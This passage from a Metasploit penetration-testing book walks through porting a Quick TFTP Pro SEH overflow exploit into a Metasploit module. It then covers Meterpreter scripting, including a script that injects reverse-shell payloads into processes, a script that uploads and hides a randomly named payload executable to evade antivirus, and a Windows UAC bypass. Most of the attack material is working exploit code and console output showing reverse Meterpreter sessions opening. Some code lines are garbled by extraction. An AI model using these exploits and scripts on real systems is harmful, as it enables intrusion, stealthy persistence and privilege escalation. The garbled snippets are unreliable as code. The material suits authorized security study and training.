sploit << rand_text_alpha_upper(target['Offset'])
sploit << [target['Ret']].pack('V')
sploit << make_nops(32)
sploit << payload.encoded
sock.put(sploit + "\r\n")

handler
disconnect
end

end

You’ve just completed your first port of a buffer overflow exploit to Metasploit!

SEH Overwrite Exploit

In our next example, we’ll convert a Structured Exception Handler (SEH) overwrite exploit for Quick TFTP Pro 2.1 to Metasploit. SEH overwrites occur when you overwrite the pointer to the applications exception handler. In this particular exploit, the application triggers an exception, and when it arrives at the pointer over which you have control, you can direct execution flow to your shellcode. The exploit itself is a bit more complex than a simple buffer overflow, but it’s very elegant. In an SEH overwrite, we attempt to bypass the handler that tries to close an application gracefully when a major error or crash occurs.

In the balance of this chapter, we’ll use the POP-POP-RETN technique to allow us to access our attacker-controlled memory space and gain full code execution. The POP-POP-RETN technique is commonly used to try to get around the SEH and execute our own code. The first POP in assembly pulls a memory address from the stack, essentially removing one memory address instruction. The second POP also pulls a memory address from the stack. The RETN returns us to a user-controlled area of the code, where we can begin executing our memory instructions.

Note

To learn more about SEH overwrites, see http://www.exploit-db.com/download_pdf/10195/.

The Quick TFTP Pro 2.1 exploit was written by Muts. You can find the code for the complete exploit as well as the application at http://www.exploit-db.com/exploits/5315/. We’ve stripped down the exploit here to make it simpler to port into Metasploit — for example, we’ve stripped out the payload. The remaining skeleton has all of the information we’ll need to use the exploit in Metasploit.

#!/usr/bin/python
# Quick TFTP Pro 2.1 SEH Overflow (0day)
# Tested on Windows XP SP2.
# Coded by Mati Aharoni
# muts..at..offensive-security.com
# http://www.offensive-security.com/0day/quicktftp-poc.py.txt
#########################################################
import socket
import sys

print "[*] Quick TFTP Pro 2.1 SEH Overflow (0day)"
print "[*] http://www.offensive-security.com"

host = '127.0.0.1'
port = 69

try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
print "socket() failed"
sys.exit(1)

filename = "pwnd"
shell = "\xcc" 317

mode = "A"1019+"\xeb\x08\x90\x90"+"\x58\x14\xd3\x74"+"\x90"16+shell

muha = "\x00\x02" + filename+ "" + mode + ""

print "[] Sending evil packet, ph33r"
s.sendto(muha, (host, port))
print "[*] Check port 4444 for bindshell"

As we did with our previous JMP ESP example, we first create a skeleton for our new module by using a base example of an exploit similar to the one we used previously:

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Udp
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'Quick TFTP Pro
2.1 Long Mode Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow
in Quick TFTP Pro 2.1.
},
'Author' => 'Your Name',
'Version' => '$Revision: 7724 $',
'References' =>
[
['CVE', '2008-1610'],
['OSVDB', '43784'],
['URL', 'http://www.
exploit-db.com/exploits/5315'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 412,
'BadChars' => "\x00\x20\x0a\x0d",
'StackAdjustment' => −3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP2', { 'Ret' => 0x41414141 } ],
],
'Privileged' => true,
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 3 2008'))

register_options([Opt::RPORT(69)], self.class)

end

def exploit
connect_udp

print_status("Trying target #{target.name}...")

udp_sock.put(sploit)

disconnect_udp
end

end

Because this exploit uses the Trivial File Transfer Protocol (TFTP), we need to include the Msf::Exploit::Remote::Udp mixin shown at . And because it manipulates the structured exception handler, we also need to include the Msf::Exploit::Remote::Seh mixin shown at to gain access to certain functions that deal with SEH overflows. Because TFTP servers typically listen on UDP port 69, we declare that port at as the default for the module. Lastly, once the malicious string is built, the code is put on the wire at .

We begin by using the same skeleton from our original Python exploit earlier in this chapter for the TFTP exploit. We will be adding the major parts of it into our exploit section.

def exploit
connect_udp

print_status("Trying target #{target.name}...")

evil = "\x41" * 1019
evil << "\xeb\x08\x90\x90" # Short Jump
evil << "\x58\x14\xd3\x74" # POP-POP-RETN
evil << "\x90" * 16 # NOP slide
evil << "\xcc" * 412 # Dummy Shellcode

sploit = "\x00\x02"
sploit << "pwnd"
sploit << "\x00"
sploit << evil
sploit << "\x00"

udp_sock.put(sploit)

disconnect_udp
end

Following the initial string of As (1019 of them, represented by \x41 in hexadecimal), we add a short jump at to overwrite the Next SE Handler (NSEH). At the beginning of this chapter, we used a simple stack overflow example when we attacked MailCarrier and overwrote the instruction pointer. Here, we overwrite the SEH and the NSEH to break out of the structured exception handler. Then at we add the address of a POP-POP-RETN sequence of instructions to overwrite SEH, which puts us into an area of memory that we control.

Next, to make sure that the packet will be recognized as a write request by the TFTP server, we append \x00\x02 after the shellcode at .

Now, when we load the module and run it against our target, our debugger should pause with a SEH overwrite, as shown in Figure 15-4.

Figure 15-4. Quick TFTP’s initial SEH overwrite

Because that long string of As and the NOP slide sent to the application will set off IDS alarms, we’ll replace the As (as in the previous example) with a random selection of uppercase alphabetic characters, and replace the \x90 characters with NOP equivalents, as shown in the following boldface code:

evil = rand_text_alpha_upper(1019) # Was: "\x41" * 1019
evil << "\xeb\x08\x90\x90" # Short Jump
evil << "\x58\x14\xd3\x74" # pop/pop/ret
evil << make_nops(16) # Was: "\x90" 16 # NOP slide
evil << "\xcc" 412 # Dummy Shellcode

As always, it’s a good idea to check your new module’s functionality after every change. As you can see in Figure 15-5, the random characters have been accepted by the application and SEH is still controlled as it was before.

Figure 15-5. Quick TFTP buffer with random characters

Now that we know that the module is still behaving properly, we can set the return address in the 'Targets' definition. The address in this example is a POP-POP-RETN from oledlg.dll, as in the original exploit. Remember that if we can find a memory instruction set in the same application that is loaded every time, we can create a universal exploit that is not dependent on Microsoft DLLs and that can target every operating system. In this case, we use oledlg.dll to make this exploit universal.

'Targets' =>
[
[ 'Windows XP SP2', { 'Ret' => 0x74d31458 } ], # p/p/r oledlg
],

We now have our target of Windows XP SP2 and a return address of 0x74d31458, as shown at .

Next, we create a random, alphabetical, uppercase string of 1019 bytes:

evil = rand_text_alpha_upper(1019)
evil << generate_seh_payload(target.ret)
evil << make_nops(16)

The generate_seh_payload function uses the declared return address and will automatically insert the short jump (which jumps us over the SEH handler). The generate_seh_payload function calculates the jumps for us, so it will go straight to the POP-POP-RETN.

We run the module one last time with the dummy shellcode and see that our debugger contains numerous random characters, but everything is still under our direct control, as shown in Figure 15-6. Random characters can be better than NOPs in some cases, because they serve to trip up many IDSs that may be monitoring the network. Many signature-based IDSs can trigger over large volumes of NOPs.

Figure 15-6. Quick TFTP fully controlled

Next, we remove the dummy shellcode and run the module with a real payload to get our shell, as shown here:

msf > use exploit/windows/tftp/quicktftp_book
msf exploit(quicktftp_book) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(quicktftp_book) > set LHOST 192.168.1.101
LHOST => 192.168.1.101
msf exploit(quicktftp_book) > set RHOST 192.168.1.155
RHOST => 192.168.1.155
msf exploit(quicktftp_book) > exploit

[*] Started reverse handler on 192.168.1.101:4444
[*] Trying target Windows XP SP2...
[*] Sending stage (747008 bytes)
[*] Meterpreter session 2 opened (192.168.1.101:4444 -> 192.168.1.155:1036)
meterpreter > getuid
Server username: V-XP-SP2-BARE\Administrator

Now that we have our Meterpreter shell, we’ve successfully ported an exploit and used the Framework in an SEH exploit!

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Udp
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'Quick TFTP Pro 2.1
Long Mode Buffer Overflow',
'Description' => %q{
This module exploits a stack
overflow in Quick TFTP Pro 2.1.
},
'Author' => 'Your Name',
'Version' => '$Revision: 7724 $',
'References' =>
[
['CVE', '2008-1610'],
['OSVDB', '43784'],
['URL', 'http://www.exploit-db.com/exploits/5315'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 412,
'BadChars' => "\x00\x20\x0a\x0d",
'StackAdjustment' => −3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP2',
{ 'Ret' => 0x74d31458 } ],
# p/p/r oledlg
],
'Privileged' => true,
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 3 2008'))

register_options([Opt::RPORT(69)], self.class)

end

def exploit
connect_udp

print_status("Trying target #{target.name}...")

evil = rand_text_alpha_upper(1019)
evil << generate_seh_payload(target.ret)
evil << make_nops(16)

sploit = "\x00\x02"
sploit << "pwnd"
sploit << "\x00"
sploit << evil
sploit << "\x00"

udp_sock.put(sploit)

disconnect_udp
end

end

Wrapping Up

This chapter was designed to help you understand how to port different stand-alone exploits into the Metasploit Framework. You can import into the Framework in a number of ways, and different exploits will require different approaches and techniques.

At the beginning of this chapter, you learned how to use some basic assembly instructions to perform a simple stack overflow and port it into the Framework. We moved on to SEH overwrites, which we were able to use to maneuver around the handler and gain remote code execution. We used a pop/pop/ret technique to gain the ability to execute code remotely, and we used Metasploit to open a Meterpreter shell.

In the next chapter, we will begin to dive into the Meterpreter scripting language and post exploitation modules. When we compromise a system and leverage Meterpreter, we can perform a number of additional attacks. We’ll create our own Meterpreter scripts and learn how the Framework is structured and how use it to maximum effect.

Chapter 16. Meterpreter Scripting

Metasploit’s powerful scripting environment lets you add features or options to Meterpreter. In this chapter, you’ll learn the basics of Meterpreter scripting, some useful native calls, and learn how to run these commands from within Meterpreter. We’ll cover two ways to leverage Meterpreter scripting. The first method is somewhat outdated but still important, because not all scripts have been converted. The second method is nearly identical to the one discussed in Chapter 13, so we won’t cover it in detail in this chapter. (Special thanks to Carlos Perez [darkoperator] for his contributions to this chapter.)

Meterpreter Scripting Basics

All Meterpreter scripts are located under the Framework root under scripts/meterpreter/. To show a listing of all scripts, press the tab key in a Meterpreter shell, enter run, and press tab again.

Let’s dissect a simple Meterpreter script and then build our own. We’ll explore the multi_meter_inject script that injects Meterpreter shells into different processes. To begin, take a look at this script in Meterpreter to see what flags and syntax are included:

meterpreter > run multi_meter_inject -h
Meterpreter script for injecting a reverse tcp Meterpreter
payload into memory space of
multiple PID's. If none is provided, notepad.exe will be spawned and the meterpreter
payload injected into it.

OPTIONS:

-h Help menu.
-m Start Exploit multi/handler for return connection
-mp <opt>
Provide Multiple PID for connections separated by comma one per IP.
-mr <opt>
Provide Multiple IP Addresses for Connections separated by comma.
-p <opt> The
port on the remote host where Metasploit is listening (default: 4444)
-pt <opt> Specify Reverse Connection Meterpreter Payload. Default windows/
meterpreter/reverse_tcp

meterpreter >

The first option is the -m flag , which automatically sets up a new handler for us on the return connection. We would not need to set this option if we were going to use the same port (for example, 443). Next we specify the process IDs (PIDs) that we need and the shells into which they will be injected.

Meterpreter executes in memory only. When we inject into a process, we are injecting Meterpreter into the memory space of that process. This allows us to remain stealthy, never reading or writing files to disk, while ultimately having multiple shells available to us.

We then set the IP address and port number on the attacking machine to which we want the new Meterpreter session to connect.

We issue the ps command within Meterpreter to get a list of running processes:

meterpreter > ps

Process list
============

PID Name Arch Session User Path
--- ---- ---- ------- ---- ----
0 [System Process]
4 System
256 smss.exe
364 csrss.exe
412 wininit.exe
424 csrss.exe
472 winlogon.exe
516 services.exe
524 lsass.exe
532 lsm.exe
2808 iexplorer.exe x86
meterpreter >

We’ll inject our new Meterpreter shell into the iexplorer.exe process. This will spawn a second Meterpreter console completely within memory and will never write data to the disk.

Let’s run the multi_meter_inject command using some of the switches we reviewed earlier to see if it works:

meterpreter > run multi_meter_inject -mp 2808 -mr 172.16.32.129 -p 443
[*] Creating a reverse meterpreter stager: LHOST=172.16.32.129 LPORT=443
[*] Injecting meterpreter into process ID 2808
[*] Allocated memory at address 0x03180000, for 290 byte stager
[*] Writing the stager into memory...
[*] Sending stage (749056 bytes) to 172.16.32.170
[+] Successfully injected Meterpreter in to process: 2808
[*] Meterpreter session 3 opened (172.16.32.129:443 -> 172.16.32.170:1098) at
Tue Nov 30 22:37:29 −0500 2010
meterpreter >

As this output indicates, our command was successful and a new Meterpreter session has been opened, as shown at .

Now that you understand what this script can do, let’s examine how it works. We’ll break the script into chunks to help us parse its commands and overall structure.

First, variables and definitions are defined and the flags we want to pass to Meterpreter are set up:

# $Id: multi_meter_inject.rb 10901 2010-11-04 18:42:36Z darkoperator $
# $Revision: 10901 $
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
#-----------------------------------------------------------------------------
################## Variable Declarations ##################

@client = client
lhost = Rex::Socket.source_address("1.2.3.4")
lport = 4444
lhost = "127.0.0.1"
pid = nil
multi_ip = nil
multi_pid = []
payload_type = "windows/meterpreter/reverse_tcp"
start_handler = nil
@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ],
"-p" => [ true, "The port on the remote host where
Metasploit is listening (default: 4444)"],
"-m" => [ false, "Start Exploit multi/handler for return connection"],
"-pt" => [ true, "Specify Reverse Connection
Meterpreter Payload. Default windows/meterpreter/reverse_tcp"],
"-mr" => [ true, "Provide Multiple IP Addresses
for Connections separated by comma."],
"-mp" => [ true, "Provide Multiple PID for connections
separated by comma one per IP."]
)
meter_type = client.platform

At the beginning of this section of script, notice that several variables are defined for later use. For example, pid = nil at creates a PID variable but its value is not set. The @exec_opts = Rex::Parser::Arguments.new( section at defines the additional help commands and flags that will be used.

The next section defines functions that we will call later:

################## Function Declarations ##################

# Usage Message Function
#-------------------------------------------------------------------------------
def usage
print_line "Meterpreter Script for injecting a reverse
tcp Meterpreter Payload"
print_line "in to memory of multiple PID's, if none is
provided a notepad process."
print_line "will be created and a Meterpreter Payload
will be injected in to each."
print_line(@exec_opts.usage)
raise Rex::Script::Completed
end

# Wrong Meterpreter Version Message Function
#-------------------------------------------------------------------------------
def wrong_meter_version(meter = meter_type)
print_error("#{meter} version of Meterpreter is not
supported with this Script!")
raise Rex::Script::Completed
end

# Function for injecting payload in to a given PID
#-------------------------------------------------------------------------------
def inject(target_pid, payload_to_inject)
print_status("Injecting meterpreter into process ID #{target_pid}")
begin
host_process = @client.sys.process.open
(target_pid.to_i, PROCESS_ALL_ACCESS)
raw = payload_to_inject.generate

mem = host_process.memory.allocate(raw.length + (raw.length % 1024))

print_status("Allocated memory at
address #{"0x%.8x" % mem}, for #{raw.length} byte stager")
print_status("Writing the stager into memory...")
host_process.memory.write(mem, raw)
host_process.thread.create(mem, 0)
print_good("Successfully injected Meterpreter
in to process: #{target_pid}")
rescue::Exception => e
print_error("Failed to Inject Payload to #{target_pid}!")
print_error(e)
end
end

In this example, the function usage at will be called when the -h flag is set. You can call a number of Meterpreter functions directly from the Meterpreter API. This functionality simplifies certain tasks, such as injecting into a new process with the def inject function, as shown at .

The next important element is the host_process.memory.allocate call at , which will allow us to allocate memory space for our Meterpreter payload. We then write the memory to our process using host_process.memory.write at and create a new thread using host_process.thread.create at .

Next we define the multi-handler that handles the connections based on the selected payload, as shown in boldface in the following output. (The default is Meterpreter, so the multi-handler will handle Meterpreter sessions unless otherwise specified.)

# Function for creation of connection handler
#-------------------------------------------------------------------------------
def create_multi_handler(payload_to_inject)
mul = @client.framework.exploits.create("multi/handler")
mul.share_datastore(payload_to_inject.datastore)
mul.datastore['WORKSPACE'] = @client.workspace
mul.datastore['PAYLOAD'] = payload_to_inject
mul.datastore['EXITFUNC'] = 'process'
mul.datastore['ExitOnSession'] = true
print_status("Running payload handler")
mul.exploit_simple(
'Payload' => mul.datastore['PAYLOAD'],
'RunAsJob' => true
)

end

The pay = client.framework.payloads.create(payload) call in the following section allows us to create a payload from the Metasploit Framework. Because we know this is a Meterpreter payload, Metasploit will automatically generate it for us.

# Function for Creating the Payload
#-------------------------------------------------------------------------------
def create_payload(payload_type,lhost,lport)
print_status("Creating a reverse meterpreter
stager: LHOST=#{lhost} LPORT=#{lport}")
payload = payload_type
pay = client.framework.payloads.create(payload)
pay.datastore['LHOST'] = lhost
pay.datastore['LPORT'] = lport
return pay
end

The next option spawns a process using Notepad by default. If we didn’t specify a process, it would have created a Notepad process for us automatically.

# Function that starts the notepad.exe process
#-------------------------------------------------------------------------------
def start_proc()
print_good("Starting Notepad.exe to house Meterpreter Session.")
proc = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true })
print_good("Process created with pid #{proc.pid}")
return proc.pid
end

The boldfaced call lets us execute any command on the operating system. Notice that Hidden is set to true. This means that the user on the other side (the target) will not see anything; if Notepad is opened, it will run without the target user’s knowledge.

Next we call our functions, throw if statements, and start the payload:

################## Main ##################
@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
usage
when "-p"
lport = val.to_i
when "-m"
start_handler = true
when "-pt"
payload_type = val
when "-mr"
multi_ip = val.split(",")
when "-mp"
multi_pid = val.split(",")
end
}

# Check for Version of Meterpreter
wrong_meter_version(meter_type) if meter_type !˜ win32|win64i
# Create a Multi Handler is Desired
create_multi_handler(payload_type) if start_handler

Finally, we go through a couple of checks, make sure the syntax is correct, and inject our new Meterpreter session into our PID:

# Check for a PID or program name

if multi_ip
if multi_pid
if multi_ip.length == multi_pid.length
pid_index = 0
multi_ip.each do |i|
payload = create_payload(payload_type,i,lport)
inject(multi_pid[pid_index],payload)
select(nil, nil, nil, 5)
pid_index = pid_index + 1
end
else
multi_ip.each do |i|
payload = create_payload(payload_type,i,lport)
inject(start_proc,payload)
select(nil, nil, nil, 2)
end
end
end
else
print_error("You must provide at least one IP!")
end

Meterpreter API

During a penetration test, you might be unable to find an existing script that matches what you need in order to perform a required task. If you understand the basic concepts of programming, it should be relatively easy for you to pick up the Ruby syntax and use it to write additional scripts.

Let’s start off with a basic print statement that uses the interactive Ruby shell, also known as irb. From the Meterpreter console, issue the irb command and begin typing commands:

meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client
>>

After you are inside the interactive shell, you can use it to test the different API calls from Meterpreter.

Printing Output

Let’s start with the print_line() call, which will print the output and add a carriage return at the end:

>> print_line("you have been pwnd!")
you have been pwnd!
=> nil

The next call is print_status() and is used most often in the scripting language. This call will provide a carriage return and print the status of whatever is executing, with a [*] prefixed at the beginning:

>> print_status("you have been pwnd!")
[*] you have been pwnd!
=> nil

The next call is print_good(), which is used to provide the results of an action or to indicate that the action was successful:

>> print_good("you have been pwnd")
[+] you have been pwnd
=> nil

The next call is print_error(), which is used to provide an error message or to indicate that an action was not possible:

>> print_error("you have been pwnd!")
[-] you have been pwnd!
=> nil

Base API Calls

Meterpreter includes many API calls that you can use in your scripts to provide additional functionality or customization. You can use several reference points for these API calls. The one most often used by scripting newbies looks at how the Meterpreter console user interface (UI) uses the calls; these can be used as a base to continue writing scripts. To access this code, read the files under optframework3/msf3/lib/rex/post/meterpreter/ui/console/command_dispatcher/ in Back|Track. If you create a listing of the folder contents, you can see the files that contain various commands that you can use:

root@bt:˜# ls -F optframework3/
msf3/lib/rex/post/meterpreter/ui/console/command_dispatcher/

core.rb espia.rb incognito.rb networkpug.rb priv/
priv.rb sniffer.rb stdapi/ stdapi.rb

Within these scripts are the various Meterpreter core, desktop interaction, privileged operations, and many more commands. Review these scripts to become intimately familiar with how Meterpreter operates within a compromised system.

Meterpreter Mixins

The Meterpreter mixins are a series of calls that represent the most common tasks undertaken in a Meterpreter script. These calls are not available in irb and can be used only when creating a script for Meterpreter. Following is a list of some of the most notable calls:

cmd_exec(cmd) Executes the given command as hidden and channelized. The output of the command is provided as a multiline string.

eventlog_clear(evt = "") Clears a given event log or all event logs if none is given. Returns an array of event logs that were cleared.

eventlog_list() Enumerates the event logs and returns an array containing the names of the event logs.
file_local_digestmd5(file2md5) Returns a string with the MD5 checksum of a given local file.
file_local_digestsha1(file2sha1) Returns a string with the SHA1 checksum of a given local file.
file_local_digestsha2(file2sha2) Returns a string with the SHA256 checksum of a given local file.
file_local_write(file2wrt, data2wrt) Writes a given string to a specified file.
is_admin?() Identifies whether or not the user is an admin. Returns true if the user is an admin and false if not.
is_uac_enabled?() Determines whether User Account Control (UAC) is enabled on the system.
registry_createkey(key) Creates a given registry key and returns true if successful.
registry_deleteval(key,valname) Deletes a registry value given the key and value name. Returns true if successful.
registry_delkey(key) Deletes a given registry key and returns true if successful.
registry_enumkeys(key) Enumerates the subkeys of a given registry key and returns an array of subkeys.
registry_enumvals(key) Enumerates the values of a given registry key and returns an array of value names.
registry_getvaldata(key,valname) Returns the data of a given registry key and its value.
registry_getvalinfo(key,valname) Returns the data and type of a given registry key and its value.

registry_setvaldata(key,valname,data,type) Sets the data for a given value and type of data on the target registry. Returns true if successful.

service_change_startup(name,mode) Changes a given service startup mode. The name and the mode must be provided. The mode is a string set with either a corresponding auto, manual, or disable setting. The service name is case sensitive.

service_create(name, display_name, executable_on_host,startup=2) Function for the creation of a service that runs its own process. Its parameters are the service name as a string, the display name as a string, the path of the executable on the host that will execute at startup as a string, and the startup type as an integer: 2 for Auto, 3 for Manual, or 4 for Disable (default is Auto).

service_delete(name) Function for deleting a service by deleting the key in the registry.

service_info(name) Gets Windows service information. The information is returned in a hash with display name, startup mode, and command executed by the service. The service name is case sensitive. Hash keys are Name, Start, Command, and Credentials.

service_list() Lists all Windows services present. Returns an array containing the services’ names.

service_start(name) Function for service startup. Returns 0 if the service is started, 1 if the service is already started, and 2 if service is disabled.

service_stop(name) Function for stopping a service. Returns 0 if the service is stopped successfully, 1 if the service is already stopped or disabled, and 2 if the service cannot be stopped.

You should understand the basics regarding the Meterpreter mixin calls that you can use to add functionality to your custom script.

Rules for Writing Meterpreter Scripts

When creating Meterpreter scripts, you need to understand the following rules before you begin your first script and if you want them to be committed to the Framework:

- Use only instance, local, and constant variables; never use global or class variables because they might interfere with the Framework variables.

- Use hard tabs for indenting; do not use spaces.

- For code blocks, do not use {}. Instead, use do and end.

- When declaring functions, always write a comment before the declaration and provide a brief description of its purpose.

- Do not use sleep; use "select(nil, nil, nil, <time>)".

- Do not use puts or any other standard output calls; instead use print, print_line, print_status, print_error, and print_good.

- Always include an -h option that will print a description and the purpose of the script and show the available options.

- If your script is meant for a specific operating system or Meterpreter platform, make sure it runs only on those platforms and prints out an error message for an unsupported OS or platform.

Creating Your Own Meterpreter Script

Open up your favorite editor and create a new file called execute_upload.rb, located in scripts/meterpreter/. We’ll start by adding comments to the top of the file to let everyone know the purpose of this script and to define our options for the script:

# Meterpreter script for uploading and executing another meterpreter exe

info = "Simple script for uploading and executing an additional meterpreter payload"

# Options

opts = Rex::Parser::Arguments.new(
"-h" => [ false,
"This help menu. Spawn a meterpreter shell by
uploading and executing."],
"-r" => [ true,
"The IP of a remote Metasploit listening for the connect back"],
"-p" => [ true, "The port
on the remote host where Metasploit is listening (default: 4444)"]
)

This should look somewhat familiar, because it’s almost exactly the same as the example from Carlos Perez that appeared earlier in the chapter. The help message is defined with -h at , and -r and -p are specified for the remote IP address and port number we’ll need for our new Meterpreter executable. Note that a true statement is included; this indicates that these fields are required.

Next, we define the variables we want to use throughout the script. We’ll call the Rex::Text.rand_text_alpha function to create a unique executable name every time it’s called. This is efficient, because we don’t want to assign an executable name statically, which would “antivirus fingerprint” the attack. We’ll also configure each argument so that it either assigns a value or prints information with, for example, the -h.

filename= Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
rhost = Rex::Socket.source_address("1.2.3.4")
rport = 4444
lhost = "127.0.0.1"
pay = nil

#
# Option parsing
#
opts.parse(args) do |opt, idx, val|
case opt
when "-h"
print_line(info)
print_line(opts.usage)
raise Rex::Script::Completed

when "-r"
rhost = val
when "-p"
rport = val.to_i

end

end

Notice that we broke out each argument and assigned values or print information back to the user. The rhost = val means “take the value presented from the user when -r was input.” The rport = val.to_i simply assigns the value as an integer (it will always need to be an integer for a port number).

In the next series, we define everything we need to create our payload:

payload = "windows/meterpreter/reverse_tcp"
pay = client.framework.payloads.create(payload)
pay.datastore['LHOST'] = rhost
pay.datastore['LPORT'] = rport
mul = client.framework.exploits.create("multi/handler")
mul.share_datastore(pay.datastore)
mul.datastore['WORKSPACE'] = client.workspace
mul.datastore['PAYLOAD'] = payload
mul.datastore['EXITFUNC'] = 'process'
mul.datastore['ExitOnSession'] = true
mul.exploit_simple(
'Payload' => mul.datastore['PAYLOAD'],
'RunAsJob' => true
)

We define our payload as a windows/meterpreter/reverse_tcp at , generate the payload calling the client.framework.payloads.create(payload) at , and specify the necessary parameters to create the multi-handler. These are all the required fields we need to set our payload using the LHOST and LPORT options and create a listener.

Next we create our executable (win32pe meterpreter), upload it to our target machine, and execute it:

if client.platform =˜ win32|win64

tempdir = client.fs.file.expand_path("%TEMP%")
print_status("Uploading meterpreter to temp directory...")
raw = pay.generate
exe = ::Msf::Util::EXE.to_win32pe(client.framework, raw)
tempexe = tempdir + "\\" + filename
tempexe.gsub!("\\\\", "\\")
fd = client.fs.file.new(tempexe, "wb")
fd.write(exe)
fd.close
print_status("Executing the payload on the system...")
execute_payload = "#{tempdir}\\#{filename}"
pid = session.sys.process.execute(execute_payload, nil, {'Hidden' => true})

end

The variables called #{something} have already been defined within the script and will be called later. Notice that we already defined tempdir and filename. Moving into the script, we first include an if statement to detect whether the platform we are targeting is a Windows-based system ; otherwise, the attack won’t run. We then expand the temp directory on the target machine; this would be the equivalent of %TEMP%. Next we create a new file on the system and write out the new EXE we just generated from the ::Msf::Util::EXE.to_win32pe call. Remember that we set the session.sys.process.execute to Hidden so that the target user won’t see anything pop up on his side.

Putting this all together, our final script should look something like this:

# Meterpreter script for uploading and executing another meterpreter exe

info = "Simple script for uploading and executing an additional meterpreter payload"

#
# Options
#

opts = Rex::Parser::Arguments.new(
"-h" => [ false, "This help menu. Spawn a
meterpreter shell by uploading and executing."],
"-r" => [ true, "The IP of a remote Metasploit
listening for the connect back"],
"-p" => [ true, "The port on the remote host where
Metasploit is listening (default: 4444)"]
)

#
# Default parameters
#

filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
rhost = Rex::Socket.source_address("1.2.3.4")
rport = 4444
lhost = "127.0.0.1"
pay = nil

#
# Option parsing
#

opts.parse(args) do |opt, idx, val|
case opt
when "-h"
print_line(info)
print_line(opts.usage)
raise Rex::Script::Completed

when "-r"
rhost = val
when "-p"
rport = val.to_i

end

end

payload = "windows/meterpreter/reverse_tcp"
pay = client.framework.payloads.create(payload)
pay.datastore['LHOST'] = rhost
pay.datastore['LPORT'] = rport
mul = client.framework.exploits.create("multi/handler")
mul.share_datastore(pay.datastore)
mul.datastore['WORKSPACE'] = client.workspace
mul.datastore['PAYLOAD'] = payload
mul.datastore['EXITFUNC'] = 'process'
mul.datastore['ExitOnSession'] = true
print_status("Running payload handler")
mul.exploit_simple(
'Payload' => mul.datastore['PAYLOAD'],
'RunAsJob' => true
)

if client.platform =˜ win32|win64

tempdir = client.fs.file.expand_path("%TEMP%")
print_status("Uploading meterpreter to temp directory")
raw = pay.generate
exe = ::Msf::Util::EXE.to_win32pe(client.framework, raw)
tempexe = tempdir + "\\" + filename
tempexe.gsub!("\\\\", "\\")
fd = client.fs.file.new(tempexe, "wb")
fd.write(exe)
fd.close
print_status("Executing the payload on the system")
execute_payload = "#{tempdir}\\#{filename}"
pid = session.sys.process.execute(execute_payload, nil, {'Hidden' => true})

end

Now that we have our newly created Meterpreter script, let’s launch Metasploit, get into Meterpreter, and execute the script:

meterpreter > run execute_upload -r 172.16.32.129 -p 443
[*] Running payload handler
[*] Uploading meterpreter to temp directory
[*] Executing the payload on the system
[*] Sending stage (749056 bytes) to 172.16.32.170
[*] Meterpreter session 2 opened (172.16.32.129:443 -> 172.16.32.170:1140) at
Tue Nov 30 23:24:19 −0500 2010
meterpreter >

Success! We have created a Meterpreter script and successfully executed it to spawn a new Meterpreter shell. This is a small example of the power and flexibility of the Meterpreter scripting language and Ruby in general.

One important element to discuss briefly (as mentioned earlier) is the move to convert Meterpreter scripts to a format similar to the Metasploit modules. We’ll use a small demo of a module built for bypassing the Windows 7 UAC. Windows Vista and later introduced a feature similar to sudo in UNIX-and Linux-based systems. With this feature, a user is assigned limited account permissions until administrative-level permissions are necessary. When the user needs admin rights to perform a task, a prompt appears, telling the user that admin rights are required and are being used. The ultimate goal of this feature is to protect against a compromise or virus infection and to limit exposure only to one user account.

In December 2010, Dave Kennedy and Kevin Mitnick released a new Meterpreter module that bypassed the Windows UAC component by injecting a payload into a process that had a trusted publisher certificate and was considered “UAC Safe.” When injecting into the process, a DLL can be called, running under the context of that UAC Safe process, which then executes commands.

In this example, we use the post exploitation modules, which can be used to bypass UAC. We first start the multi/handler module with the -j flag, which allows us to accept multiple Meterpreter shells. Notice in this example that when we try to run the getsystem command, it fails because it is being blocked by Windows UAC.

resource (src/program_junk/meta_config)> exploit -j
[*] Exploit running as background job.
msf exploit(handler) >
[*] Started reverse handler on 0.0.0.0:443
[*] Starting the payload handler...
[*] Sending stage (749056 bytes) to 172.16.32.130
[*] Meterpreter session 1 opened (172.16.32.128:443 ->
172.16.32.130:2310) at Thu June 09 08:02:45 −0500 2011
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied.
meterpreter > sysinfo
Computer: DAVE-DEV-PC
OS : Windows 7 (Build 7600).
Arch : x64 (Current Process is WOW64)
Language: en_US
meterpreter >

Notice that we can’t bridge over to a system-level account, because UAC is blocking us. We need to get around UAC to obtain system-level privileges and ultimately become an administrator so that we can further compromise the machine. We press ctrl-Z to back out, keeping the session active. Then we use the new format to run post modules and bypass the Windows UAC functionality.

msf exploit(handler) > use post/windows/escalate/bypassuac
msf post(bypassuac) > show options
Module options (post/windows/escalate/bypassuac):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST no Listener IP address for the new session
LPORT 4444 no Listener port for the new session
SESSION yes The session to run this module on.

msf post(bypassuac) > set LHOST 172.16.32.128
LHOST => 172.16.32.128
msf post(bypassuac) > set SESSION 1
SESSION => 1
msf post(bypassuac) > exploit

